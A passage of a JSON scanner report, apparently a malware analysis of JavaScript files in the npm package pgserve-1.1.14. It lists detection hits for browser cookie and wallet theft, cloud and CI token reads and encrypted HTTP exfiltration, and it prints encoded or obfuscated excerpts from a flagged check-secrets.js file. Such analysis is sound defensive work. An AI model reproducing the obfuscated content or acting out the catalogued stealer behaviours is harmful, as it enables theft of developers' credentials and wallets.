            "crit": 3,
            "desc": "Brave browser application-name token",
            "spans": [
              [
                9110,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/browser::login-data",
            "atk": "T1555.003",
            "mbc": "T1555.003",
            "conf": 0.8,
            "crit": 3,
            "desc": "Chromium Login Data filename reference",
            "spans": [
              [
                12608,
                10
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::kube-config-path-components",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 3,
            "desc": "Kubernetes config path components",
            "spans": [
              [
                6607,
                33
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::pem-file-extension-reference",
            "atk": "T1552.004",
            "conf": 0.75,
            "crit": 3,
            "desc": "References a PEM certificate or key file",
            "spans": [
              [
                1005,
                4
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/path::process-arbitrary",
            "conf": 0.66,
            "crit": 3,
            "desc": "Access /proc for arbitrary PIDs",
            "spans": [
              [
                14170,
                7
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/info/path::process-var-environ",
            "conf": 0.94,
            "crit": 3,
            "desc": "Reads variable-PID environment via procfs",
            "spans": [
              [
                14170,
                20
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/read/file::node-sensitive-file-read",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node reads a sensitive config path",
            "spans": [
              [
                15404,
                69
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/write/file/direct::write-file-sync",
            "conf": 0.95,
            "crit": 3,
            "desc": "Node fs writes to a file synchronously",
            "spans": [
              [
                28748,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::google-cloud-credential-env-read",
            "conf": 0.9,
            "crit": 3,
            "desc": "Reads Google credential environment variable",
            "spans": [
              [
                6253,
                42
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::service-credential-env-var",
            "conf": 0.86,
            "crit": 3,
            "desc": "Reads secret-like credential env variable",
            "spans": [
              [
                31048,
                26
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/random/crypto::node-random-32-byte-value",
            "conf": 0.84,
            "crit": 3,
            "desc": "Node.js 32-byte random value",
            "spans": [
              [
                15765,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-method-call",
            "conf": 0.75,
            "crit": 3,
            "desc": "Calls a Node OS platform method",
            "spans": [
              [
                12691,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::process-version-access",
            "conf": 0.72,
            "crit": 3,
            "desc": "Reads Node.js version through process.version",
            "spans": [
              [
                14871,
                15
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-destructure-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Destructures APIs from Node.js child_process",
            "spans": [
              [
                218,
                37
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/daemonize/detach::node-handle-unref-text",
            "mbc": "F0011",
            "conf": 0.86,
            "crit": 3,
            "desc": "Detaches a handle with unref()",
            "spans": [
              [
                41569,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/user/query::os-userinfo-call",
            "atk": "T1033",
            "conf": 0.8,
            "crit": 3,
            "desc": "os.userInfo() user query",
            "spans": [
              [
                14809,
                11
              ]
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::credential-file-extension",
            "atk": "T1005,T1083",
            "conf": 0.92,
            "crit": 1,
            "desc": "Credential-like filename extension",
            "spans": [
              [
                6989,
                0
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/keywords::wallet-token",
            "conf": 0.4,
            "crit": 1,
            "desc": "Wallet keyword",
            "spans": [
              [
                8325,
                0
              ]
            ]
          },
          {
            "id": "objectives/discovery/system/fingerprint/user::node-host-user-query-pair",
            "atk": "T1033",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node queries hostname and username",
            "spans": [
              [
                38088,
                38
              ]
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/cloud-access::env-google-prefix",
            "atk": "T1552.001",
            "conf": 0.72,
            "crit": 3,
            "desc": "Google credential env access",
            "spans": [
              [
                6253,
                42
              ]
            ]
          },
          {
            "id": "metadata/import/builtin::runtime-api-import-set",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports at least three Node.js runtime APIs",
            "uses": [
              95,
              96,
              98,
              99
            ],
            "spans": [
              [
                135,
                7
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-post-json",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.75,
            "crit": 3,
            "desc": "HTTP POST request with JSON content",
            "uses": [
              195,
              198
            ],
            "spans": [
              [
                16839,
                6
              ],
              [
                16847,
                6
              ],
              [
                16897,
                16
              ],
              [
                31809,
                128
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::node-http",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node.js built-in http/https module usage",
            "uses": [
              107
            ],
            "spans": [
              [
                17510,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::aes-256-cbc",
            "mbc": "C0027",
            "conf": 0.85,
            "crit": 3,
            "desc": "AES-256-CBC encryption",
            "uses": [
              125
            ],
            "spans": [
              [
                15859,
                11
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credential-filenames::developer-credential-path-list",
            "conf": 0.96,
            "crit": 3,
            "desc": "Multiple developer credential path references",
            "uses": [
              25,
              39,
              40,
              41,
              42,
              43,
              44,
              45,
              46,
              47,
              48,
              57,
              64,
              69,
              70,
              71,
              72,
              94,
              155,
              218,
              219
            ],
            "spans": [
              [
                1005,
                4
              ],
              [
                6109,
                36
              ],
              [
                6607,
                33
              ],
              [
                13385,
                13
              ],
              [
                13442,
                12
              ],
              [
                32494,
                7
              ],
              [
                32542,
                11
              ],
              [
                32571,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::generic-sensitive-credential-path",
            "atk": "T1552.001",
            "conf": 0.8,
            "crit": 3,
            "desc": "References a sensitive credential or environment file path",
            "uses": [
              39,
              45,
              49
            ],
            "spans": [
              [
                32542,
                11
              ],
              [
                32571,
                6
              ],
              [
                33333,
                6
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs",
            "conf": 0.92,
            "crit": 3,
            "desc": "Multiple CI provider environment references",
            "uses": [
              162,
              163,
              164,
              165
            ],
            "spans": [
              [
                4028,
                6
              ],
              [
                4040,
                9
              ],
              [
                14975,
                14
              ],
              [
                15037,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/module/load::node-system-module-import-set",
            "conf": 0.88,
            "crit": 3,
            "desc": "Imports at least two Node system modules",
            "uses": [
              95,
              96,
              98,
              99
            ],
            "spans": [
              [
                233,
                7
              ]
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::wallet-files",
            "atk": "T1555",
            "mbc": "B0024",
            "conf": 0.9,
            "crit": 3,
            "desc": "References cryptocurrency wallet files",
            "uses": [
              181
            ],
            "spans": [
              [
                11487,
                13
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/desktop::node-wallet-store-path",
            "atk": "T1555",
            "mbc": "B0028",
            "conf": 0.9,
            "crit": 4,
            "desc": "JavaScript constructs a crypto wallet path",
            "uses": [
              185
            ],
            "spans": [
              [
                8211,
                38
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-http-request-configured-any",
            "atk": "T1041",
            "conf": 0.9,
            "crit": 1,
            "desc": "Node HTTP request has explicit options",
            "uses": [
              111
            ],
            "spans": [
              [
                16714,
                0
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-upload-sink",
            "atk": "T1041",
            "conf": 0.9,
            "crit": 1,
            "desc": "Node HTTP upload sink",
            "uses": [
              109
            ],
            "spans": [
              [
                17390,
                0
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/npm-install-targeting::js-sysinfo-https-post-body",
            "conf": 0.9,
            "crit": 4,
            "desc": "Script POSTs collected system info as a JSON body",
            "uses": [
              107,
              134,
              171,
              198
            ],
            "spans": [
              [
                14728,
                11
              ],
              [
                15916,
                14
              ],
              [
                16839,
                6
              ],
              [
                16847,
                6
              ],
              [
                17510,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-client-usage",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.7,
            "crit": 3,
            "desc": "Uses HTTP client APIs",
            "uses": [
              238
            ],
            "spans": [
              [
                17510,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::node-http-request-end-body",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.84,
            "crit": 3,
            "desc": "Node HTTP request sends a body with end()",
            "uses": [
              108,
              238
            ],
            "spans": [
              [
                17407,
                7
              ],
              [
                17510,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::node-http-request-stream-body",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.84,
            "crit": 3,
            "desc": "Node HTTP request writes body",
            "uses": [
              108,
              109,
              238
            ],
            "spans": [
              [
                17390,
                9
              ],
              [
                17407,
                7
              ],
              [
                17510,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::node-http-post-json-body",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node HTTP request posts a JSON body",
            "uses": [
              237,
              251
            ],
            "spans": [
              [
                16839,
                6
              ],
              [
                16847,
                6
              ],
              [
                16897,
                16
              ],
              [
                17390,
                9
              ],
              [
                17407,
                7
              ],
              [
                17510,
                13
              ],
              [
                31809,
                128
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-hybrid-encrypted-exfil",
            "atk": "T1573.002",
            "conf": 0.97,
            "crit": 5,
            "desc": "Node hybrid encrypted HTTP exfiltration",
            "uses": [
              204,
              226,
              239,
              249
            ],
            "spans": [
              [
                15765,
                15
              ],
              [
                15859,
                11
              ],
              [
                16011,
                21
              ],
              [
                17510,
                13
              ]
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::child-process-require",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports the Node.js child_process module",
            "uses": [
              95,
              229
            ],
            "spans": [
              [
                218,
                37
              ],
              [
                233,
                7
              ]
            ]
          },
          {
            "id": "objectives/credential-access/browser/chromium::chrome-cookie-decryption-chain-macos",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.95,
            "crit": 3,
            "desc": "macOS Chrome cookie decryption chain",
            "uses": [
              123,
              217
            ],
            "spans": [
              [
                1452,
                9
              ],
              [
                12608,
                10
              ]
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/cloud-access::node-cloud",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 3,
            "desc": "Accesses cloud provider credentials",
            "uses": [
              235
            ],
            "spans": [
              [
                6253,
                42
              ]
            ]
          },
          {
            "id": "objectives/credential-access/wallet/extension::browser-wallet-extensions",
            "conf": 1.0,
            "crit": 4,
            "desc": "Multiple browser wallet extension IDs",
            "uses": [
              186,
              190
            ],
            "spans": [
              [
                8539,
                32
              ],
              [
                9770,
                34
              ]
            ]
          },
          {
            "id": "objectives/discovery/host/browser/identity::browser-data-files",
            "atk": "T1217",
            "conf": 0.7,
            "crit": 3,
            "desc": "Browser data file references",
            "uses": [
              217
            ],
            "spans": [
              [
                12608,
                10
              ]
            ]
          },
          {
            "id": "objectives/discovery/process/enumerate::ts-proc-pid-walk",
            "atk": "T1057",
            "conf": 0.78,
            "crit": 3,
            "desc": "JavaScript/TypeScript walks /proc PID entries",
            "uses": [
              158,
              220
            ],
            "spans": [
              [
                13993,
                20
              ],
              [
                14170,
                7
              ]
            ]
          },
          {
            "id": "objectives/discovery/system/fingerprint/hardware::node-data-aggregation",
            "atk": "T1082",
            "conf": 0.9,
            "crit": 3,
            "desc": "Aggregates system data into object",
            "uses": [
              171,
              173,
              174,
              231
            ],
            "spans": [
              [
                5263,
                11
              ],
              [
                12691,
                11
              ],
              [
                14728,
                11
              ],
              [
                14809,
                11
              ]
            ]
          },
          {
            "id": "objectives/discovery/system/fingerprint/user::node-host-user-query",
            "atk": "T1033,T1082",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node queries host and user identity",
            "uses": [
              171,
              231
            ],
            "spans": [
              [
                14728,
                11
              ],
              [
                14809,
                11
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/pipeline::multiple-credential-store-sources",
            "atk": "T1041",
            "mbc": "E1041",
            "conf": 0.95,
            "crit": 4,
            "desc": "Multiple developer credential store sources",
            "uses": [
              89,
              155
            ],
            "spans": [
              [
                2454,
                61
              ],
              [
                13385,
                13
              ],
              [
                13442,
                12
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-system-info-source",
            "atk": "T1041",
            "conf": 0.9,
            "crit": 1,
            "desc": "Node system info source",
            "uses": [
              260
            ],
            "spans": [
              [
                5263,
                0
              ],
              [
                12691,
                0
              ]
            ]
          },
          {
            "id": "objectives/credential-access/theft/multi-app::browser-wallet-stealer",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.95,
            "crit": 4,
            "desc": "Browser data with wallet targeting",
            "uses": [
              185,
              186,
              245,
              257,
              258
            ],
            "spans": [
              [
                8211,
                38
              ],
              [
                8539,
                32
              ],
              [
                9770,
                34
              ],
              [
                12608,
                10
              ]
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-collect-exfil",
            "atk": "T1041",
            "conf": 0.9,
            "crit": 4,
            "desc": "Host profile serialized near HTTP body",
            "uses": [
              133,
              246,
              251,
              260,
              263
            ],
            "spans": [
              [
                12691,
                11
              ],
              [
                14728,
                11
              ],
              [
                14809,
                11
              ],
              [
                15916,
                14
              ],
              [
                16714,
                55
              ],
              [
                17390,
                9
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/pipeline::npm-runner-recon-http",
            "atk": "T1041",
            "conf": 0.95,
            "crit": 5,
            "desc": "npm package exfiltrates CI/CD tokens via HTTP",
            "uses": [
              198,
              247
            ],
            "spans": [
              [
                17390,
                9
              ],
              [
                21360,
                21
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/pipeline::npm-supply-chain-attack",
            "atk": "T1195.001",
            "conf": 0.95,
            "crit": 5,
            "desc": "npm package CI/CD token exfiltration",
            "uses": [
              74,
              247
            ],
            "spans": [
              [
                17390,
                9
              ],
              [
                21360,
                21
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "id": 13,
        "mol": "H₅(CrDb₂FOsPo)Md(In)",
        "sha": "77b8758e912077f74318ce16f96661889806c895feb08debc7caab082559361a",
        "path": "pgserve-1.1.14.tgz!!package/.genie/scripts/helpers/check-secrets.js",
        "risk": 7,
        "size": 6855,
        "type": "javascript",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "fdFBUasXH3y\u0026%/vwPw[/z!9A4w]zYjAa:l6A=#13asWZvdJ?2$v}YN#wN/?8A+dosasXG=aw+%co*IVWaAhvtv}x.5iV}syzGu}wx(mN1wGUM3vR67XwN(]Wz/Z2kA+efDoDX4!B97\u0026dv}t#\u0026dJ*q",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "C{4cIzxI[Cp-%^%B-.tnxcqqmaw+%co*IVWcVZzbz/Z2kA+efDoBq)(3lQ/vra]#!az2C0vR/Q%az(mqBzispz/PziB7nS{x(mMac]iCjCP.9wA=l8kxMe9oaA8cuzfoVpx!r?kA+cwmD2[7szf4ckasXHTxLzo]az\u003eL3zGGr3zFs03ayMylx(mN1wGT//B985nwM8D1azC.mByx5%wIarjdLzbox(d*cA=-Bly\u0026%/vwPw]9A=k!qcU3$nB97#lcP.VHze:AlBrCHyazbUjz6giAB0\u003c3Rx(d*cA=-BJax8chaBLwAA=k!qcT}jocP.VHze:AlBrC]Mv@=c?By!c:xj\u003e^@aBLwAA=k!qcOv5*z!AY]AXq9FcP.VHze:AlBrC]Mp\u0026yz%xl4N8o\u003c}{FxjV9aEircxz/3QAe?.fZB985nwPGFsB0\u003c3Rx(d*cA=-BJaz2!tA:-E1l$7gCvQTs?pgn0JaBLwAA=k!qcOv5\u003eA=l5r",
            "ln": 141,
            "col": 27,
            "line": 6
          },
          {
            "b": "e]U-HBrC%Uauhhlgck*=arR!GxLzJuxM4%lauZ\u0026=Acb/jzGvBzz/Z1yE0^4:f!$WufFk4if^/3\u0026arR^HBzbxfe]UD4z!0M]BwMy/xDPCXz/x/jz/fRGAa-9/v@2T$p*[DVj0lgfavZx\u0026z6hUMnLIGGsQDn]arU=tx(+[CxhAI!BrAZ?z/x/jz/fRGAa-0=AS",
            "ln": 1574,
            "col": 24,
            "line": 48
          },
          {
            "b": "xLzJuAa-f(wPw[RaA8jvx(v)ge]UD6B7GwmE0^4:AbP/txl4N8cP.UTarR!GxLzJuAa-0QB8#LzA+3pQaA8jvx(v)ge]UD1vrlHlz/PwhE0^4:AbP/txl4N8cP.UTarR!G",
            "ln": 1735,
            "col": 6,
            "line": 52
          },
          {
            "b": "e]kDsoL5xUy-[aMasy(vw]x4tEjmk+arR^HBzbxfe]#2GauZ\u0026+B.\u003e\u003eQarSr\u003cavpi*e]#2GazbLjayO!$x(k5kB.bPcwPFh3arR!GxLzJuB7GxnwPw[Raz#sry=.$DarR!GxLzJuv@Dm5wN/*@z/fRsjS[SNCox*}Bsm",
            "ln": 2057,
            "col": 48,
            "line": 58
          },
          {
            "b": "ADL\u0026kx\u003equdc#r*CaA?WtB.$Xvaz+$avqE5@z/fD7v@#B6zyC]narR^HaARphB1RJNy-\u003e\u003e-zE[2mq=cjpDKp(rarR^HarUuoB98qdzdL:JcOWwne?![ie?[.83lQDlarR^HaAhmtBugK^xLzJuAa-0=A=-\u0026tarR^HarR^HwmoN*vQTs?iV]!?z/Z2kA+fqted9HxarR^HarU/FwPzV%zdL:JBzbxfe]UD6B7Gwy3lQDlarR^HaAg+gB9zLywi7\u0026PxLzJuAa-0QB8#LzA+3ZdarR^HarR^HzddVIatLF\u003catkw\u003cq/b@Vy-)Xnz!{Ldz/M$ewnM3#aAqKnA+P9a3lQDlarR^HazCw5wMiwXwP8ZkiV{jjed9HxarR^",
            "ln": 2705,
            "col": 33,
            "line": 80
          },
          {
            "b": "B7]J8avpi*e]klyBy/trdiJkvAV^a?gK73:xMw3lxj#mbBp6ckarUfjzGx[xA=l8xwPw[RaARphB2%ZKarR!pz/fSrazC)#x(mE1Cxj(\u0026aA8rNAbn%8w]zZbc[co4jV%]nCwg}Jgabc\u003carR^HBzbxfe]$PAC4CXpjS)7lzz2:tB97#hd0(pzarR^HaztXmBz+J7wJy@QxLzJuxM4%led9HxarR^HAbP=siV@JTx(+[Cz/P}J3lQDlarR!EwP-69p\u0026yw@iV]OWB606[wn=WkefD5*fcy",
            "ln": 3042,
            "col": 27,
            "line": 92
          },
          {
            "b": "B0b7kAV/sfA:-/@By/GbDsZRfADL\u0026kx\u003eqt)arR^HarUfjzGx[xA+frmy\u0026*^.ayPF5x(\u003eFtxLzJuB8=27q:\u003cwGlStf.avYm8o^1y/uU0O!vpAU^wGU5Bmn=L%wmoN$vqPM#jS(1%wmwqxzdOc6i%(rqarR^HazCBgc#@)uB.(dLy?mG%Bz8^WjV%]wdiJ%AarR^HarR^Hfe1CFB7DFnACN3Laztt5AaK5jw]zYjB75V(azCv$zGGP8x\u003eqrcwPIu\u0026Aa%i5asI5uyH[RQqu",
            "ln": 4576,
            "col": 46,
            "line": 139
          },
          {
            "b": "vrVc]BrCWsx(+[FACNmIzGxk#wHH}NqBJ(JmiB#:r6-\u0026pq:?/MbZT6hpgn0Je]\u003eJxy***+c[=+$xdLeMa%Fx-EiJ5Fi%(rqarR^HarR^WfcAM6Bz\u0026:xzEE0\u003cwGU@8C4Cf9z/M$iCYWImB7]MgazCBgv@Dl%x\u003eINewN(b\u003carR^HarR!vw/@HzxLzJuwO${=yY",
            "ln": 4816,
            "col": 9,
            "line": 144
          },
          {
            "b": "wmoN*vQTs?3lQDldJ?90wNPW(B0a)lBy/rdz/PobC{3QnzF\u003c2}BzkVhaARJABzbkdB8UY2x\u003ez6?ay[]5vpAU^wGV8kaAzQxavx3}k#Zn}moAITpe:.Wp6@9^asXH0Aa9=}z6jgDBAh8kxmg[kvOQuGwGSMEl$7gCvQTs?az$R8wGV8kaz2C0vR/P",
            "ln": 5349,
            "col": 37,
            "line": 160
          },
          {
            "b": "diJ%AarR^HarR^HvrVc]BrCa6p\u0026yn*e[nZoB7D:Ge[nsiv}WnsdiH=qaBwI=i%)8MarR^HEf}8tarV7tarV7t3lQDAdK\u003e=FarScRnmuyDy?j-gz!0M]BrCHvwO@RsluNe*r6%F8xKL^?",
            "ln": 6366,
            "col": 17,
            "line": 188
          },
          {
            "b": "DKp(rarR^HarSr\u003caw=G!Bzkf1aA}\u003cuBy=POFrRf=B.kk%AV/ylzddc@wmY^7vqYP#Aa9)gwGUG0x\u003eqg73lQDlarR^HaAITkBy^7zwO#3)zF8{!p?H[laA}\u003cuBAz8iau.\u003eJats{5avpi.w[u0nw].*bc$D+dvjrrWavpi.w[u0nw].*bc$D+dvj(Q",
            "ln": 7324,
            "col": 38,
            "line": 225
          },
          {
            "b": "wGTc0jS)W4oKyW^qb{4-r9@0*l}5kCD(#{qwmV(DjV%]Tq=t$UnNCv:qb{4-r9@0*l}5KEDKp(rarR^HB8LM7wPPLGA+PSbc{\u00265*w[u0nw].*bc)}+qdjEs=arR^HarU-Evru6kvS=o{wPw[RayYF9w[u0ny?mG%Bz8^Xaz\u003eXhB75Y)oL59OBz8^YayYF9w[u0nB9g@2A=LPlc#AKpB75Y)oL59OBz99CiV@r.y?#fuarR^HarUYoBAIRwi%)8MarV7t",
            "ln": 8186,
            "col": 12,
            "line": 256
          },
          {
            "b": "arR^HarR^WfcA-5A^7@jwfsY!B985nwM8D1aAz4mAbPSnwGV8kay/k4wO#PjCwhejayX+?yJar9B8#FAwEoL5arR^HarR^Hx\u003ewFoB97\u0026jwId}kzE^E0xh\u0026!py?WD#BswtV3lQDlarR^HarR^HaAITkBy^7zwO#3)zF8{!lU{EFzGE0:avpi.w[u0n",
            "ln": 8982,
            "col": 4,
            "line": 285
          },
          {
            "b": "3lQDlarR^HaAITkBy^7zxh-.UyH}PgjS[fSvqf*aluNe#v@Dm5wN/*gDMW0uB98qdzdL:JcOWwne?![ie?[.8aAhmtBugK^xLzJuAa-0=A=-\u0026PB8LM7wPP%QAa.ZIzE^M{AV/=Vi%)8MarR^HEf}8tarV7Pv{%E?xDOZmA=M8sdiJ%AarR^HarU=tx(+[yz!AY]AXp{zA=k$DDMV\u003cdpgn0J",
            "ln": 10286,
            "col": 15,
            "line": 321
          },
          {
            "b": "Bw)o\u0026By^7nwO+}1wHIRrv@2T$dlv\u003eVaBKO7arU9lD2vamB98ttc[co=3lQDlazbLjasH-rzGx[xB8LM7wPP5kw/#hex(+[pz/fD7v@#B6zGvlHDKp(rarR^HB8LM7wPPLozE+dAi%)8MarV7tarR^HBzbxfe[n*qzE)s1x(v)ge[nZevr9+Bi%(rqarQ",
            "ln": 11659,
            "col": 15,
            "line": 371
          },
          {
            "b": "A-lK\u0026C4CXxz/x/jz/fRsjS]91diJ%AarUfjzGx[xzGP!$z/PS8A=Su^aA8jvx(v)ge{zkOyH}KcaBFLVz/WKvAcljIdk2BFzFa68i%)8Mv@DmaBrCKvA=-A!aA8jvx(v)ge]U-HBrC%Uauhhlgck*=ay/tcB95Krz/Z1yjS[VZBzkVhB1RcAB95KLD(%^\u003egb**te?![jcP.UTay/tcB95KzxhAI!BrAZ?z/x/jz/fRGAa-0=A=-BKD(%?RzV",
            "ln": 12184,
            "col": 34,
            "line": 399
          },
          {
            "b": "B-RaBazbtdB95KGz/PS8AV/Nuy?$kavqfK2CwhejavON:l@DPKrz#r[arR^Hv@Dmaz!@#qy\u0026r@mu%vO.B7GxnwNcACy\u0026%/vwPw]gz!9Auas8qKB.$h#A+/lbBa2fPz/PS8A=URqi%(rqarR^WfcB7?nLIGGsVNW7ByxiiaA8yyaz2z0wN]s.wfsY!B985nwM8C",
            "ln": 12515,
            "col": 22,
            "line": 407
          },
          {
            "b": "wPz%9t{96:v@2T$iV]X{Aa-9/v@2T$p*[DVaBFLVu@PG\u0026aAhmtBrz\u0026QAa-0=A==.qEpaG=3jm)#arUfjzGx[xCw?IqwPz\u0026mjS[SNCoxQ*A40d%3lQDlay/tcB95KGz/PS8A-m6*",
            "ln": 13261,
            "col": 22,
            "line": 424
          },
          {
            "b": "aA}:AyH}KcasIwIy?mWeaAIjsBAzkmxcp-6CwX\u0026parR^Hv@cpeBy/FBz/c%JwQ4{hcOcw*Cw?IqwPxsAv@C)?efG1FxkRc]diH=qaBsCrarR^HaA}:AyH}Kce[wKfwPRGiCw?IqwPxzqwgoOE3lQDlarR!vw/@HyxMXAsx(mMKz*c7FaBsCrarR^H",
            "ln": 14273,
            "col": 20,
            "line": 450
          },
          {
            "b": "aw2x%az\u003eXhB75Y)A%:3jarUGiBrCQnvpTTJz/]@tauZ\u00263i%)8MarU9pvqf*azE[2mp\u0026ZF\u003ex(^\u0026lc#@)uz!%PddiH=qaBsCrarR^Hay/kgB97#le]LRQcV9BoB75Y)cOcw*Cw?IqwPxsAzdN^fvp%d2au.[hDKp(rarR^HarUxgasI8rB8$=5wIe7IAaHdPjV%]nA+eV\u0026C{+3-DKp(rarR^HarR^HA+eV\u0026C%=H)zGExVi%)8MarR^HarR^Hx\u003ewFoA+eV\u0026C%=H)zGE0:jV%{9B.$h#A+/lbA@",
            "ln": 15263,
            "col": 47,
            "line": 475
          },
          {
            "b": "wIdI4ByuZcarR^HarR^HarR^Hy*?ybrD8FSBy^GQl$7gGe]CPKc[bGCarR^HarR^HaBLX23lQDlarR^HaBKOtarR^HaBLX23lQDlaBLX23jm)#arUfjzGx-jwId!qxddd(z#",
            "ln": 15654,
            "col": 22,
            "line": 485
          },
          {
            "b": "A=S\u003cRvqH6$B0@E^aBsCrarR^HarR^HaA}:AyH}JsB7Gl1d0)7UD2NsQaszkzB-.ejCwX=JEjmk+arR^HarR^HEf}8tarR^HarU9pvqf*azE[2mp\u0026ZF\u003ex(^\u0026lc#@)uz!%PddiH=qaBsCrarR^HarR^Hay/tcB95KmxK$W?auZ\u0026*wPQHYBy/GovqEtudiH=qaBsCrarR^HarR^HarR!vw/@HCz/PS8A=S\u003cOx)KtkjV$}JfEXb\u003e3lQDlarR^HarR^HarR!py?m3}nP5SYA=$(cc$u}4v@0IP3lQDlarR^HarR^HarQ",
            "ln": 16109,
            "col": 35,
            "line": 502
          },
          {
            "b": "wO#PjB97\u0026jB08(Px([35zxK4nzdNTdBrC^wzE^WfdgdguarR^HarR^Hx\u003ewFol$7gGe]CPKc[cn\u003caAITkBAo6JvrlJ\u003cAaAy0wGT8Ts5hZ!mn^F\u003er6:FZuSoP\u003emnD].uRKDFaBsCrarR^HarR^HarR!Gz//A7lVl\u003cWwN/*@z/fRsd)k1@Byxoje[n*qzE)s1x(v)gaBFLVfGPQ:arR^HarR^HarR!Gz//A7lVl\u003cWwN/*[wfrx=aAITkBAo5",
            "ln": 16785,
            "col": 30,
            "line": 524
          },
          {
            "b": "B-.hnauZ\u0026+wP]m:y\u0026%/vwPyW!B-.hnd0(pzarR^HaAhmtBugK-vrcB2nP5R#Ab](bwPI]BwO#Vzp!aCMqDuj[p!%$*diK1=auhhlgaS+ParR^HaztXmBugK-A=kD0B8@%BzGWTem]I\u0026OrZ*v^pG7jnE0^4:f!$WufFk4if^!HVarR^HarUSoq/ueYwPQ:SBz9YTAb](bwPI]BwO#Vzp!aCMqDuj[p!a\u003e\u003epEv=zr3lNoaz#sry+b]oarR^HaAg%\u0026z/P}XaAg+fB7E{XBsq9Gz!0v1B1R3wB$MPYq:\u003cO+mpe\u003eYuR\u003cJ@r4e@qD($s7gCQG*arR^HarUSorDz.(iV@xZz!0v1B1R3wB$MPYq:\u003cO+mpe\u003eYuSy2[qxQvmaszbDB985nwPGjI3lQDlarR!CxhA2TB9zLywi7\u0026LA=kD0B8@%BzGWTem]I\u0026OrZ*v(m{/7Uq=u:[qBzTPD(%!Qz/Z2kA+fqted9HxarR^Hy\u0026r@WwP?T3iV@xZz!0v1B1R3wB$MPYq:\u003cO+mpe.:m{!}UrZ/X8E0^4:x(mK3cObPEarR^HayPzmz+$E)C4(2iz/dPUAb](bwPI]BwO#Vzp!aCMqDuj[k#*(WuR\u003cS@r.ljYpFJ2}jV%]nBAhIncObPEarR^Haz\u003eLilVl\u003cWwN/*@z/fRSaAg+fB7E{XBsq9Gz!0v1B1R3wB$MPYq:\u003cO+mpe+PsyjA\u003epejkBr7P\u003eXqZ\u0026\u0026pD($c$fFC3+arR^HarQ",
            "ln": 17564,
            "col": 13,
            "line": 548
          },
          {
